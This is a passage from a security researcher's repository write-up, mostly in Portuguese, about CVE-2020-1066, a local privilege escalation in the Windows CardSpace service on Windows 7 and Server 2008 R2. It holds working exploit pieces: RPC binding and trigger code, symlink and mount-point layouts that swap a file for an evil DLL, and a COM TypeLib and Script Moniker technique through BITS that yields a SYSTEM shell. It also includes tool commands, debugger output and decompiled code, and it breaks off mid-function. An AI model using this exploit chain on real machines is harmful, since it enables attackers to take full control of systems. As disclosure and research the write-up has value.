cbwang505/cve-2020-1066-expExploração de elevação de privilégios local para CVE-2020-1066 direcionada ao Windows 7 e Server 2008 R2. Aproveita a substituição arbitrária de arquivos por meio de abuso de link simbólico no serviço Windows CardSpace (idsvc) para alcançar execução de código em nível de SYSTEM.
Esta vulnerabilidade é uma vulnerabilidade de elevação de privilégios locais devido à substituição arbitrária de arquivos causada pelo serviço Windows CardSpace que não lida corretamente com objetos de link simbólico.
O PoC do autor é apenas para fins de pesquisa. Se o leitor usar este PoC para outras atividades, não tem relação com o autor.
[toc]
Aplica-se a usuários comuns do Windows 7 e Windows Server 2008 R2 e a usuários do IIS com configurações especiais habilitadas.
O autor é o submissor da vulnerabilidade, que foi atualizada em maio de 2020. A vulnerabilidade origina-se do serviço Windows CardSpace (abreviado como idsvc) do Windows 7 e Windows Server 2008 R2. Este serviço pode ser iniciado por qualquer usuário, é executado com privilégios de Sistema e oferece chamadas RPC públicas. Quando o serviço é acionado por um usuário para mover um arquivo de configuração específico localizado no diretório da variável de ambiente do usuário %APPDATA%, ele não lida corretamente com objetos de link simbólico, resultando em substituição arbitrária de arquivos e elevação local de privilégios. Esta é a causa da vulnerabilidade. Como é baseado em chamadas RPC, é necessário primeiro obter a interface do serviço MIDL, para poder escrever código local e interagir com ele. O autor recomenda usar a ferramenta RpcView. Para métodos específicos, consulte a série de artigos sobre exploração de vulnerabilidades RPC. Primeiro, use o seguinte método para obter o arquivo de símbolos e configurar os símbolos na ferramenta. Em seguida, é possível descompilar o arquivo IDL da interface RPC. O método específico é o seguinte:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols
Através da ferramenta, obtenha os 3 dados importantes: o tipo de protocolo Rpc, o nome do protocolo e o arquivo de definição do cliente da interface do protocolo (arquivo .c gerado pela compilação do arquivo IDL, veja a caixa de texto Decompilation à esquerda). Dessa forma, é possível vincular o serviço Rpc usando o seguinte método.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
Ao descompilar o código do serviço idsvc, obtém-se o projeto específico (veja os projetos relacionados). O serviço idsvc vincula o manipulador global da interface RPC global, RequestFactory.ProcessNewRequest. Para a primeira chamada, ou seja, quando parentRequestHandle é 0, chama a classe CreateClientRequestInstance para lidar com o callback. As operações subsequentes são tratadas pela classe CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
O serviço idsvc refletirá a classe correspondente com base no nome da classe no campo RpcRequest->Type para lidar com o callback, aqui o poc usa a classe "ManageRequest";```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
Aciona a função DoProcessRequest da instância ManageRequest para processar a solicitação, omitindo etapas intermediárias e, por fim, chama StoreConnection.CreateDefaultDataSources() para chegar ao ponto de exploração.
Durante a interação com o serviço, o serviço simula o usuário (Impersonate Client) e obtém o perfil do usuário. Por padrão, ele procura o arquivo de configuração especificado no diretório da variável de ambiente %APPDATA% do usuário. Para usuários IIS, um caso especial: o perfil não é carregado por padrão; a seguinte configuração deve ser habilitada: clique em Pools de Aplicativos -> Configurações Avançadas.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)
{ //这里的identity也就客户端身份 this.m_identity = new WindowsIdentity(identity.Token); //获取用户环境变量的%APPDATA% this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\"); this.m_localSource = this.m_path + "CardSpaceSP2.db"; } protected virtual void CreateDefaultDataSources(Hashtable list) { string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client using (new SystemIdentity(true)) { .... if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数 this.AtomicFileCopy(str, this.m_localSource); } } ... protected void AtomicFileCopy(string source, string destination) { if (!File.Exists(source)) return; //加上.atomic后缀,移动文件 File.Copy(source, source + ".atomic", true); FileInfo fileInfo = new FileInfo(source + ".atomic"); if (fileInfo.Length == 0L) return; fileInfo.MoveTo(destination); }
O serviço idsvc retorna à identidade do serviço idsvc através de `new SystemIdentity(true)`, invocando `AtomicFileCopy` para mover o perfil do usuário. Na configuração padrão, os arquivos no diretório `%APPDATA%` são totalmente controláveis pelo usuário atual. Quando um processo de alta integridade realiza operações como exclusão, movimentação, cópia ou alteração de atributos em arquivos controláveis por um processo de baixa integridade, o processo de baixa integridade pode explorar esse privilégio para realizar outras operações. James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) nos forneceu um conjunto de [ferramentas de código aberto](https://github.com/googleprojectzero/symboliclink-testing-tools); seu trabalho pioneiro no sistema de arquivos NTFS e nos internals do Windows realizou todo o trabalho pesado, implementando várias técnicas e métodos de exploração para abusar das funcionalidades do sistema de arquivos e resolução de caminhos do Windows. O sistema de arquivos NTFS permite montar um diretório controlado pelo usuário em outro diretório controlado pelo usuário (pontos de montagem de volume e pontos de junção), também permite vincular um destino a outro através de links simbólicos (pontos de análise do NTFS), e hard links (links físicos) que vinculam um arquivo controlável do usuário a outro arquivo legível. Todas essas formas podem ser usadas por um atacante malicioso para abusar das operações de arquivo realizadas por um processo de alta integridade. Para a exploração no PoC, as duas formas a seguir podem ser usadas para criar links simbólicos correspondentes para o arquivo de origem e o arquivo de destino. A primeira forma são pontos de montagem e hard links, que só funcionam no Windows 7; os hard links foram mitigados pela Microsoft, consulte a [análise](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08) para detalhes. A segunda forma ainda pode ser explorada no Windows 10, com o princípio de vincular o diretório de objetos gravável por qualquer usuário `\RPC Control` a um diretório especificado e, em seguida, continuar vinculando os arquivos no diretório `\RPC Control` a arquivos especificados. O método específico é o seguinte. Para mais informações sobre links simbólicos, consulte a [parte anterior](https://www.4hou.com/posts/qV8D) e a [próxima parte](https://www.4hou.com/posts/rE7B), que não serão repetidas aqui.```
第一种方式, 挂载点和硬链接
C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace
源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db
目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll
第二种方式,符号链接至 \RPC Control
C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control
源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db
目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic
源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll
目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll
A partir do Process Monitor, é possível perceber que o serviço idsvc, ao mover arquivos, não utiliza a operação de identidade de usuário simulada (Impersonate), nem verifica o atributo de link simbólico do arquivo, resultando em uma vulnerabilidade de elevação de privilégio por substituição arbitrária de arquivos. Segue o código-chave para exploração da vulnerabilidade.```
BOOL Exploit()
{
RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
req->Type = L"ManageRequest";
req->Length = 0;
req->Data = 0;
RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
UINT32* ctx = 0;
long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
printf("Proc0_RPCClientBindToService :%d\n", ret);
ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
return 0;
}
##### Análise de Exploração de Vulnerabilidade #####
O autor projetou um novo método de elevação de privilégios baseado em substituição arbitrária de arquivos, cujo protótipo veio do [CVE-2017-0213](https://www.exploit-db.com/exploits/42020/). Este método é aplicável a todas as versões do sistema operacional Windows 7 ao Windows 10, mas a condição é que o arquivo a ser substituído não esteja sob controle do TrustedInstaller para que a vulnerabilidade possa ser acionada. A razão é que o TrustedInstaller tem privilégios superiores aos outros; se a operação de substituição for executada diretamente, mesmo com privilégios de Sistema, o resultado será acesso negado. Geralmente, apenas arquivos com privilégios de administrador ou de Sistema atendem aos requisitos. O autor criou uma [ferramenta](https://gitee.com/cbwang505/TypeLibUnmarshaler) para pesquisar arquivos substituíveis em um diretório especificado, disponível na lista de projetos relacionados. Também é possível usar a ferramenta accesschk do [SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite) da Microsoft, iniciando a linha de comando conforme abaixo, sendo o último parâmetro o diretório do arquivo especificado.```
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件
accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll
//笔者工具中的查找模式,参数为目标路径和后缀名
MyComEop.exe v [find path] [extension]
//深度查找模式,参数为目标路径和后缀名
MyComEop.exe d [find path] [extension]
Para o sistema Windows 7, o autor encontrou alguns arquivos TypeLib (bibliotecas de tipos) nativos do sistema que podem ser explorados usando as ferramentas acima. Para versões superiores como Windows 10, também foi encontrado um TypeLib nativo do sistema que pode ser escrito pelo usuário System. Melhor ainda, para componentes COM registrados por softwares de terceiros, basicamente existem arquivos TypeLib semelhantes que atendem às condições, portanto, certamente há valor de exploração nesse método de utilização.``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll
A exploração para o sistema Windows7 pode ser refletida diretamente no PoC. Para sistemas de versão superior como Windows10, já foi verificado no meu outro [EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION). Se for apenas para fins de teste, pode usar a seguinte linha de comando para iniciar a implementação. Como é necessário a escrita pelo usuário System, recomenda-se usar ferramentas como [Process Hacker](https://processhacker.sourceforge.io/) para mudar a identidade do usuário atual para o usuário System. O efeito é mostrado na imagem acima:```
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true
Se o leitor encontrar um TypeLib que atenda às condições, pode usar a ferramenta OleView do Windows SDK para abri-lo. Selecione qualquer Interface e extraia os três parâmetros IID_Interface, InterfaceName e TypeLib_GUID para usar o modo avançado da ferramenta de exploração. Aqui, o autor utiliza um TypeLib nativo do sistema Windows 7 para demonstração.
O princípio da exploração da vulnerabilidade vem do serviço Background Intelligent Transfer Service (bits). A interface IBackgroundCopyJob->SetNotifyInterface da API pública do serviço bits permite passar objetos COM remotos arbitrários. Se esse objeto herdar a interface IMarshal, o serviço bits personalizará a desserialização Unmarshal com base no CLSID passado no método GetUnmarshalClass da interface. Aqui, o autor utiliza o método Unmarshal padrão, ou seja, CStdMarshal::UnmarshalInterface, para acionar a desserialização. Os dados que causam a desserialização vêm da estrutura OBJREF no MarshalStream, cujo formato é o seguinte. Para mais detalhes, consulte a documentação oficial da Microsoft e meu outro artigo```
typedef LUID OXID;
typedef LUID OID;
typedef GUID IPID;
typedef struct tagDUALSTRINGARRAY {
unsigned short wNumEntries; // Number of entries in array.
unsigned short wSecurityOffset; // Offset of security info.
unsigned short aStringArray[];
} DUALSTRINGARRAY;
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符
OXID oxid;
//存根管理器的标识符
OID oid;
//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF;
Aqui flags é OBJREF_STANDARD(0x01), indicando o uso do modo Unmarshal padrão (CStdMarshal), e a união abaixo corresponde a STDOBJREF. Quanto aos outros tipos de flags, todos possuem modos de unmarshal personalizados, que estão fora do escopo deste artigo; o leitor pode pesquisar por conta própria. E o que finalmente permite a exploração da vulnerabilidade é o campo iid. Através de engenharia reversa, descobriu-se que substituir este iid (ou seja, a interface IID_Interface encontrada no oleview) pode fazer o serviço bits carregar a TypeLib (biblioteca de tipos) do objeto COM correspondente a esse iid, ou seja, qualquer desserialização de TypeLib. Por fim, substituindo o arquivo TypeLib construindo uma estrutura de TypeLib aninhada, é possível executar o Script Moniker para obter um shell. Aqui está o código chave da exploração da vulnerabilidade:```
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
IStorage* stg;
ILockBytes* lb;
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
ULONG cbRead;
ULONG cbWrite;
IStreamPtr pStream = nullptr;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
LARGE_INTEGER dlibMove = { 0 };
ULARGE_INTEGER plibNewPosition;
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
hr = pStream->Read(headerObjRef, 1000, &cbRead);
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);
//IID_InterfaceFake就是找到的接口IID_Interface
headerObjRef->iid = IID_InterfaceFake;
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
return hr;
}
A partir dos resultados de depuração, pode-se ver que CStdMarshal::UnmarshalInterface eventualmente chama LoadTypeLibEx, passando iid como IID_InterfaceFake (vindo de OBJREF), e a segunda chamada a LoadTypeLibEx carrega o Script Moniker. Isso confirma que é possível fazer HOOK em um processo de altos privilégios para desserializar e carregar qualquer TypeLib.```
1: kd> bp OLEAUT32!GetTypeInfoOfIID
Breakpoint 0 hit
OLEAUT32!GetTypeInfoOfIID:
0033:000007fefebf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fefebefd09 4889842480030000 mov qword ptr [rsp+380h],rax
0: kd> r
rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c
rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148
rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001
0: kd> dt _GUID @rcx
//查看这个参数
ole32!_GUID
{55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake
//下这个断点
1: kd> bp OLEAUT32!LoadTypeLibEx
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fefeb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 0000000002c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o.
0000000002c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 0000000002c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T.
0000000002c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 0000000002c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0...
0000000002c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 0000000002c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t.
0000000002c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 0000000002c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s...
0000000002c8e110 059f92e0 00000000 02c8e180 00000000 ................
0: kd> kv
00 000000000391d828 000007fefebf00eb : 0000000000000ed8 0000000000000000 000000000391d9a0 000000000391d870 : OLEAUT32!LoadTypeLibEx
01 000000000391d830 000007fefebf0f4f : 000007feff6c71c0 000007feff661889 000000000371f310 0000000000000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb
02 000000000391dbe0 000007fefebf1149 : 0000000000284210 000000000371f310 0000000000284240 0000000000284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df
03 000000000391dc40 000007feff51e46a : 0000000000000000 0000000003715ea0 0000000000284210 0000000000284210 : OLEAUT32!CProxyWrapper::Connect+0x79
04 000000000391dc90 000007feff51e233 : 0000000000000000 0000000000284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368]
05 00000000ff51e114 : 000000000391e618 0000000000000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189]
06 00000000ff5211ec : 000000000391df68 000000009a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734]
07 00000000ff5210b7 : 00000000059e7610 0000000000000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618]
08 00000000ff52106c : 000000000391df50 00000000037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279]
09 00000000ff64a0c5 : 0000000000000000 0000000000000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406]
//使用的是标准反序列化模式
0a 00000000ff5232a6 : 00000000fee64366 00000000fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238]
0b 00000000ff523542 : 000007fe0391e340 0000000000000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957]
0c 00000000fedf523e : 000000000391e340 000007fe0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354]
0d 00000000fedff6cf : 000007fe0391e4f0 0000000000000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e
0e 00000000fede6e1c : 00000000fede78d7 000000000023e760 : RPCRT4!NdrPointerUnmarshall+0x2f
0f 00000000fede68e3 : 00000000faac1342 00000000faac1af0 : RPCRT4!NdrStubCall2+0x73c
10 00000000fede7967 : 00000000fb63a250 00000000fb63a250 : RPCRT4!NdrStubCall2+0x203
11 00000000ff660883 : 0000000000000000 0000000003715ff0 : RPCRT4!I_RpcGetBuffer+0xc7
12 00000000ff660ccd : 0000000000000000 000007fe00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
13 00000000ff660c43 : 000000000378a994 00000000ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
14 00000000ff51a4f0 : 00000000037daf90 000000000391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
15 00000000ff6614d6 : 0000000000000010 0000000003715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
16 00000000ff66122b : 00000000037daf90 0000000003769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
17 00000000ff65fd6d : 00000000037daf90 0000000000070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
18 00000000fede50f4 : 000007fe00000000 00000000fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
19 00000000fede4f56 : 000007fe00000001 00000000ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84
1a 00000000fede775b : 0000000000000000 000000000378a970 : RPCRT4!NdrServerCall2+0x1be6
1b 00000000fede769b : 000000000391f0b0 00000000037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b
1c 00000000fede7632 : 000000000378a970 00000000fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b
1d 0000000000000000 : 0000000000000000 0000000000000000 : RPCRT4!I_RpcBindingInqTransportType+0x202
//第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fe02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C.
0000000002c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n.
0000000002c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......
O apartamento onde o lado do servidor do componente COM reside mantém uma lista de objetos stub de interface COM. Cada objeto stub mantém uma referência a um objeto COM. Com base nas informações do iid da interface desse objeto COM, procura-se na chave `HKEY_CLASSES_ROOT/Interface` do registro o valor padrão da subchave `ProxyStubClsid32` da subchave iid. Esse valor padrão é o CLSID de um objeto stub. Em seguida, o COM chama a função `CoGetClassObject` com esse CLSID para solicitar a fábrica de classes de proxy, chamando `IPSFactoryBuffer->CreateStub` para criar um objeto stub de interface. Correspondentemente, no lado do cliente do componente COM, o apartamento mantém uma lista de objetos proxy. Ao deserializar (Unmarshal) um OBJREF, procura-se o [oxid, oid, ipid] do objeto stub correspondente e chama-se `IPSFactoryBuffer->CreateProxy` para criar o proxy correspondente. Através das declarações de funções definidas no arquivo IDL da interface, constrói-se a pilha física. Em seguida, através do canal `IRpcChannel` implementado no `RPCRT4.dll`, chama-se a função de interface real para comunicar com o stub, realizando assim a chamada de procedimento remoto (RPC) do COM.
A criação do proxy, `IPSFactoryBuffer->CreateProxy`, é por padrão encapsulada na função `CreateProxyFromTypeInfo`. O processo de chamada dessa função está relacionado ao `TypeInfo` em `TypeLib`, porque o `TypeInfo` no `TypeLib` define as informações de tipo relacionadas à interface. Portanto, nesse processo, é necessário chamar a função `LoadTypeLib` para carregar o `TypeLib` e seu `TypeInfo`, sendo este o ponto mais crucial para desencadear a vulnerabilidade. Através da análise reversa do processo de chamada de `LoadTypeLib`, descobriu-se que ele é implementado especificamente através da manipulação do registro. Para cada interface, as informações estão localizadas no registro em `HKEY_CLASSES_ROOT\Interface\[IID da interface]`, onde a subchave `TypeLib` corresponde ao `TypeLib_GUID` da interface. Em seguida, o `TypeLib` correspondente está em `HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID]`, onde o valor da subchave da versão correspondente é o caminho do `TypeLib`. Como uma interface pode ter várias subchaves `TypeLib` de versões correspondentes, por padrão apenas uma é carregada durante a desserialização. O autor, ao reverter a implementação no `oleaut32.dll`, implementou na ferramenta de exploração da vulnerabilidade a correspondência automática do arquivo `TypeLib` correspondente para exploração. Os resultados específicos da engenharia reversa são os seguintes:```
wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)
{
wchar_t *result; // eax
unsigned __int16 versionLookUp; // bx
unsigned __int16 versionLookUpNext; // ax
DWORD v6; // ebx
LSTATUS i; // eax
HRESULT v8; // eax
wchar_t *v9; // ebx
HRESULT v10; // eax
int foundDotted; // [esp+8h] [ebp-31Ch]
GUID *v12; // [esp+Ch] [ebp-318h]
struct ITypeInfo **v13; // [esp+10h] [ebp-314h]
struct ITypeInfo *v14; // [esp+14h] [ebp-310h]
wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]
LONG cbData; // [esp+1Ch] [ebp-308h]
ITypeLib *pptlib; // [esp+20h] [ebp-304h]
unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]
DWORD dwIndex; // [esp+28h] [ebp-2FCh]
unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]
HKEY v21; // [esp+30h] [ebp-2F4h]
HKEY v22; // [esp+34h] [ebp-2F0h]
HKEY phkResult; // [esp+38h] [ebp-2ECh]
HKEY hKey; // [esp+3Ch] [ebp-2E8h]
CLSID pclsid; // [esp+40h] [ebp-2E4h]
WCHAR Data; // [esp+50h] [ebp-2D4h]
wchar_t Dst; // [esp+258h] [ebp-CCh]
unsigned __int16 tempData; // [esp+268h] [ebp-BCh]
OLECHAR sz; // [esp+26Ch] [ebp-B8h]
wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]
WCHAR Name; // [esp+304h] [ebp-20h]
v12 = rguid;
v13 = a2;
if ( a3 >= 16 )
return (wchar_t *)-2147319779;
result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);
if ( (signed int)result < 0 )
return result;
if ( result != (wchar_t *)1 )
goto LABEL_57;
hKey = (HKEY)-1;
phkResult = (HKEY)-1;
v22 = (HKEY)-1;
v21 = (HKEY)-1;
pptlib = 0;
//先找Interface
wcscpy_s(&Dst, 0x47u, L"Interface\\");
StringFromGUID2(rguid, &sz, 39);
//如果存在Forward
wcscat_s(&Dst, 0x47u, L"\\Forward");
cbData = 520;
if ( QueryClassesRootValueW(&Dst, &Data, &cbData)
|| CLSIDFromString(&Data, &pclsid)
|| GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )
{
*(_DWORD *)SubVersion = 0;
*(_DWORD *)Version = 0;
//找里面的TypeLib
wcscpy_s(&Dst, 0x47u, L"TypeLib\\");
result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);
if ( (signed int)result >= 0 )
{
//打开ClassesRoot根节点
if ( OpenClassesRootKeyW(&Dst, &hKey) )
{
result = (wchar_t *)-2147319779;
}
else
{
SubKey = 0;
//查找子健,枚举版本号
for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )
{
versionLookUp = _wcstoul(&Name, &EndPtr, 16);
if ( *EndPtr == '.' )
{
if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]
